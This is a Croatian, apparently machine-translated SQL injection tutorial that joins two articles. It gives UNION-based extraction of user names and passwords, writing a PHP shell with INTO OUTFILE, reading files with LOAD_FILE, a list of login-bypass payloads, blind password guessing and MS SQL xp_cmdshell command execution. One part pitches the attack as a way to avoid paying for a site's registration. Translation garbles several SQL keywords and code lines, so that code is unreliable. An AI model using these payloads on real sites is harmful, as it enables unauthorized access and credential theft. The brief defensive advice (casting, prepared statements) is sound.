sqlinj/index1.php?id=1 GRUPIRAJ PO 2
nije pokazao nikakve pogreške, što znači da je broj polja veći od 2. Pokušajmo:

Sqlinj/index1.php?id=1 GRUPIRAJ PO 8
Op, vidimo pogrešku, to znači da je broj polja manji od 8.

Ako kod GROUP BY 4 nema pogreške, a kod GROUP BY 6 postoji pogreška, tada je broj polja 5

Definiranje izlaznih stupaca
Kako bismo osigurali da nam se ništa ne prikaže od prvog zahtjeva, dovoljno je zamijeniti nepostojeći ID, na primjer:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Ovom radnjom odredili smo koji se stupci prikazuju na stranici. Sada, kako biste ove brojeve zamijenili potrebnim informacijama, morate nastaviti zahtjev.

Izlaz podataka

Recimo da znamo da tablica još postoji korisnika u kojima postoje polja iskaznica, Ime I proći.
Moramo dobiti informacije o korisniku s ID=1

Stoga, napravimo sljedeći upit:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM korisnici WHERE id=1
Skripta također nastavlja izlaziti

Da bismo to učinili, zamijenit ćemo nazive polja umjesto brojeva 1 i 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM korisnici WHERE id=1
Dobili smo što smo trebali!

Za "ulazni parametar niza" kao u skripti indeks2.php morate dodati navodnik na početku i komentar na kraju. Primjer:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM korisnici WHERE id=1 --%20

Čitanje/pisanje datoteka

Za čitanje i pisanje datoteka, korisnik baze podataka mora imati FILE_PRIV prava.
Datoteke za snimanje
Zapravo, sve je vrlo jednostavno. Za pisanje datoteke koristit ćemo funkciju OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Odlično, datoteka je registrirana kod nas. Dakle, možemo ispuniti mini-ljusku:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 U IZLAZNU DATOTEKU "1.php" --%20
Čitanje datoteka
Čitanje datoteka čak je lakše nego pisanje. Dovoljno je samo koristiti funkciju LOAD_FILE, za mjesto polja koje odaberemo:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Dakle, pročitali smo prethodnu napisanu datoteku.

Metode zaštite

Zaštititi se čak je lakše nego iskorištavati ranjivost. Samo filtrirajte podatke. Ako prenosite brojeve, koristite
$id = (int) $_GET["id"];
Kao što je korisnik malroc predložio. Zaštitite se koristeći PDO ili pripremljene izjave.

Umjesto završetka

Ovo je mjesto gdje želim završiti svoj prvi dio o “SQL injekciji za početnike”. U drugom ćemo pogledati ozbiljnije primjere injekcija. Pokušajte sami pisati ranjive skripte i izvršavati upite.
I zapamtite, ne vjerujte nijednom korisniku svoje stranice.

Oznake: Dodajte oznake

SQL injekcija prilično dobra prilika za hakera
pristup poslužitelju. I uz malo truda, on
još uvijek ga razumijem :)

Koder unutra

Danas je podržan rad s bazama podataka
gotovo svi programski jezici, uključujući BASIC, C++, Java, PERL, PHP, Assembler pa čak i JavaScript! A ti se programi nazivaju ništa drugo nego DBMS - sustavi za upravljanje bazama podataka. Baze podataka često se koriste za rješavanje financijskih problema,
računovodstvo, kadrovska organizacija, ali su svoju primjenu našli i na internetu.

Baze podataka često se koriste za pisanje WEB aplikacija. Njihova je uporaba najprikladnija za pohranjivanje podataka o registraciji korisnika, identifikatora sesije, organiziranje pretraživanja, kao i za druge zadatke koji zahtijevaju veću obradu
količina podataka. Za pristup bazi podataka koriste se poslužiteljske tehnologije: PHP, PERL, ASP itd. Ovdje počinje zabava. Kada je na poslužitelju
sve su zakrpe instalirane i vatrozid blokira sve priključke osim priključka 80 ili kada je potrebna provjera autentičnosti za pristup nekim podacima, haker može upotrijebiti SQL Injection za hakiranje. Bit ovog napada je iskorištavanje greške na sjecištu WEB tehnologija i SQL-a. Činjenica je da mnoge web stranice za obradu korisničkih podataka čine poseban SQL zahtjev baze podataka. Nemarno korištenje ove tehnike može dovesti do vrlo zanimljivih rezultata...

SQL injekcija

Da bismo objasnili napad, zamislimo da ste otišli na stranicu preuzeti jedan vrlo važan alat i s užasom primijetili da to može učiniti samo registrirani korisnik, a registracija, naravno, košta :) Ne želite dati vaš posljednji zarađeni novac, ali ne možete bez programa! Vrijeme je da se prisjetimo kako
pristup bazama podataka SQL. Na primjer, provjera vaše prijave i lozinke u PHP-u može izgledati ovako:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
drugo
{
// POGREŠKA PROVJERE AUTENTIČNOSTI
}

Dodao sam dva komentara, "AUTHENTICATION OK" - trebao bih ga zamijeniti
idite na kod koji će se izvršiti ako su lozinka i prijava točni. Još jedna “AUTENTIKACIJSKA POGREŠKA” je mjesto gdje će biti opisan kod koji će se izvršiti ako su netočni. Ako ispunite obrazac, zahtjev će izgledati ovako “http://www.server.com?login=user&password=31337”, gdje je www.server.com naziv
poslužitelj na koji se pokušavamo spojiti. Našli smo ono što smo tražili i stoga ćemo se ponovno vratiti na posao SQL. Dakle, ako morate navesti prijavu i lozinku za autorizaciju, tada se generira SQL zahtjev će izgledati ovako:

SELECT * FROM users WHERE login="user" AND
zaporka="31337"

To znači otprilike ovo: vrati mi sve zapise iz baze korisnika čija je prijava "korisnik" i lozinka "31337". Ako takav zapis postoji, onda je korisnik registriran, ali ako ne, onda ne... Ali pod određenim okolnostima, sve se može ispraviti. Ovo se odnosi na situaciju kada aplikacija ne provjerava sadržaj prenesenih podataka ili ih ne provjerava u potpunosti radi prisutnosti SQL upute. U ovom primjeru provjeravaju se dva polja prijava i lozinka, ali ako navedete "31337′ I email=' kao lozinku [e-mail zaštićen]”(bez dvostrukih navodnika), tada će upit ispasti malo drugačiji:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [e-mail zaštićen]"

A ako polje e-pošte postoji, ovaj uvjet će također biti provjeren. Ako se sjećate osnova Booleove algebre, pada vam na pamet da osim operacije "i" postoji i "ili", a budući da njihovu upotrebu podržava SQL, možete
na opisani način dodajte uvjet koji uvijek vraća true. Da biste to učinili, morate navesti "korisnik' ILI 1=1—" kao prijavu, u kojem će slučaju zahtjev imati sljedeći oblik:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
zaporka="31337"

Prvo morate znati da “—” označava kraj zahtjeva, a sve nakon “—”
neće biti obrađen! Ispostavilo se da smo postavili zahtjev:

SELECT * FROM users WHERE login="korisnik" OR 1=1

Kao što možete vidjeti, dodali smo uvjet "1=1", što znači da će kriterij provjere biti "ako je prijava 'korisnik' ili 1=1", ali 1 je uvijek jednako 1 (jedina iznimka može biti aritmetika Danija Shepovalova :)). Da provjeri naše sumnje
Unesite “http://www.server.com?login=user or 1=1—&password=31337” u adresnu traku. To dovodi do činjenice da nije važno koju smo prijavu naveli, već
pogotovo lozinka! A mi smo u matrici... oh, u sustavu i možemo mirno preuzeti što nam treba.

Ali ovo je sve u teoriji. U praksi ne znamo kako se zahtjev formira, koji se podaci prenose i kojim redoslijedom. Stoga je za sva polja potrebno navesti “korisnik’ ILI 1=1—”. Također biste trebali provjeriti ima li u obrascu za podnošenje skrivenih polja. U HTML-u su opisani kao " " Ako postoje, spremite stranicu i promijenite vrijednosti ovih polja. Vrijednosti sadržane u njima često se zaboravljaju provjeriti na prisutnost SQL naredbi. Ali da bi sve radilo, trebali biste navesti puni put do skripte koja obrađuje ovaj zahtjev u obrascu (oznaka “FORM”) za parametar “ACTION”.

Ali nije uvijek poznato kako se zahtjev formira,
Prethodni primjer se može formirati na sljedeće načine:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=korisnik AND password=31337

U tom slučaju možete isprobati sljedeće opcije:

'ILI 1=1—
» ILI 1=1—
ILI 1=1—
‘ ILI ‘a’=’a
"ILI "a"="a
') ILI ('a'='a
ILI '1'='1'

Sve ovisi o namjeni skripte i o programeru. Budući da svatko sve radi na svoj način, vrlo je moguće da programer neće odabrati najlakšu opciju. Stoga ne biste trebali odmah
odustani ako te odbiju. Neophodno
isprobaj što više opcija...

Otkrivanje lozinke

Zaobilaženje autorizacije nije loše, ali vrlo često se zatvori rupa koju koristite i izgubi se sve što vam je bilo dostupno.
To je i očekivano ako programer nije budala
S vremenom će zatvoriti sve rupe. Lako se možete riješiti takvih situacija ako se unaprijed pobrinete za to. Ispravno rješenje može biti pogađanje lozinke pomoću
analiza rezultata autentifikacije. Prvo, pokušajmo pogoditi lozinku, da biste to učinili, unesite njezinu lokaciju:

'ILI lozinka>'a

Ako nam se kaže da je autorizacija prošla, tada je lozinka
ne počinje slovom "a", već jednim od sljedećih na popisu. Idemo dalje i zamijenimo
mjesto "a", zatim "b", "c", "d", "e"... itd. dok nam ne kažu da lozinka nije ispravna. Neka se ovaj proces zaustavi na simbolu "x", u kojem slučaju se stvaraju dvije opcije za razvoj situacije: lozinka je pronađena ili lozinka počinje ovim simbolom. Za provjeru prve opcije upišite lokaciju lozinke:

'ILI zaporka='x

a ako je lozinka prihvaćena i dopušten vam je ulaz, onda ste pogodili lozinku! Pa ne, onda bi trebao odabrati drugi znak,
potpuno isto, od početka. Provjerite dva znaka
treba isto. Na kraju ćete dobiti lozinku, a na isti način ćete tražiti i login :)
Ako vam pronađena lozinka i prijava ne odgovaraju, možete pronaći druge. Da biste to učinili, morate započeti provjeru od posljednjeg znaka pronađene lozinke. Dakle, ako je lozinka bila “xxx”, potrebno je provjeriti postojanje lozinke
"xxxy":

'ILI lozinka='xxx

kako ne biste propustili više od jedne opcije!

MS SQL poslužitelj

MS SQL Server općenito je božji dar ako se propusti potrebno filtriranje. Koristeći ranjivost SQL Injection koju možete izvršiti
naredbe na udaljenom poslužitelju koristeći exec master..xp_cmdshell. Ali koristiti ovaj dizajn
operacija SELECT mora biti dovršena. U SQL-u, izjave su odvojene točkom i zarezom. Stoga, za spajanje na neki IP putem Telneta, morate upisati lozinku/lokaciju za prijavu:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server ima još nekoliko zanimljivih značajki koje vam omogućuju da saznate prijave i lozinke pohranjene u bazi podataka. Da biste to učinili, izlaz pogreške preusmjerava se na proizvoljni poslužitelj i preko njih
analize, možete saznati naziv tablice, polja i njihove vrste. Nakon čega možete zatražiti

‘ UNION SELECT TOP 1 prijava FROM korisnika—

(login je naziv polja u kojem se nalazi login, a users je naziv tablice,
poluznanstvenici u procesu analize grešaka).

Odgovor bi mogao biti:


Sintaktička pogreška pretvaranja vrijednosti nvarchar "admin" to a column of data type int. !}
/default.asp, redak 27

Sada znamo da postoji korisnik pod imenom "admin". Sada možemo dobiti njegovu lozinku:

‘ UNION SELECT TOP 1 lozinka FROM korisnika gdje je prijava=’admin’—

Proizlaziti:

Pogreška Microsoft OLE DB dobavljača za ODBC upravljačke programe "80040e07"
Sintaktička pogreška pretvaranja vrijednosti nvarchar "xxx" to a column of data type int. !}
/tedault.asp, redak 27

Sada znamo da postoji korisnik "admin" sa lozinkom "xxx". S ovim možete sigurno
upotrijebite ga i prijavite se u sustav 😉

Ali postoje mnoge druge funkcije za rad sa SQL-om,
Kada radite s bazom podataka, također možete brisati podatke, mijenjati ih, umetati vlastite, pa čak i manipulirati datotekama i raditi s registrom.
Općenito, pravila SQL Servera :)

Zaštita

No, naravno, sve se to može izbjeći. Da biste to učinili, možete
koristiti filtere,
koje pružaju proizvođači. Možete pronaći vlastita rješenja, na primjer, zamjenom svih pojedinačnih
dvostruki navodnici (ako je za SQL zahtjev da koristimo pojedinačne), ili obrnuto. Možete dopustiti samo korištenje slova i s@baki, ako trebate unijeti
email adresa. A u biseru postoji nevjerojatno
funkcija 🙂 quote() u DBI::DBD modulu, koja uspješno čini vaš upit sigurnim u odnosu na SQL. Rješenja je mnogo, samo su vam potrebna
iskoristiti. Inače, čemu onda sve ovo...